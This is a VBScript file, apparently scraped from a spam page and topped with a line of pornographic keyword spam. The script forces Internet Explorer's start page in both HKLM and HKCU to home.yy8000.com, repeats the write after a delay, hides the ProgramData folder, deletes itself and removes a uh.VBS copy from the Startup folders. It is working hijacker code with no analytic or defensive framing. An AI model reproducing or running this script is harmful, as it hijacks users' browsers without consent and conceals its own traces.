欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久

On Error Resume Next

set lhwy=createobject("wscript.shell")

path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorer\main\Start Page"

tf=lhwy.regwrite(path,"http://home.yy8000.com/")

set path=nothing

path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\InternetExplorer\Main\Start Page"

tf=lhwy.regwrite(path,"http://home.yy8000.com/")

WScript.Sleep(30000)

set lhwy=createobject("wscript.shell")

path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorer\main\Start Page"

tf=lhwy.regwrite(path,"http://home.yy8000.com/")

set path=nothing

path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\InternetExplorer\Main\Start Page"

tf=lhwy.regwrite(path,"http://home.yy8000.com/")

Dim objws,objfso,dn

Set objws=WScript.CreateObject("wscript.shell")

Set objfso=CreateObject("scripting.filesystemobject")

dn=objfso.GetDriveName(WScript.ScriptFullName)

objws.run "attrib +h " & dn & "\ProgramData",0

Set fso = CreateObject("Scripting.FileSystemObject")

WScript.Sleep 3000 '將腳本執行掛起1秒

fso.DeleteFile(WScript.ScriptName) '刪除腳本自身

If fso.FileExists("X:\Documents and Settings\AllUsers\「開(kāi)始」菜單\程序\啟動(dòng)\uh.VBS") Then

  fso.DeleteFile("X:\Documents andSettings\All Users\「開(kāi)始」菜單\程序\啟動(dòng)\uh.VBS") '刪除程序如果不想刪除可以每次都修改主頁(yè)

end if

Set fso = CreateObject("Scripting.FileSystemObject")

WScript.Sleep 1000 '將腳本執行掛起1秒

fso.DeleteFile(WScript.ScriptName) '刪除腳本自身

If fso.FileExists("X:\ProgramData\Microsoft\Windows\StartMenu\Programs\Startup\uh.VBS") Then

fso.DeleteFile("X:\ProgramData\Microsoft\Windows\StartMenu\Programs\Startup\uh.VBS") '刪除程序 如果不想刪除可以每次都修改主頁(yè)

end if

Wscript.quit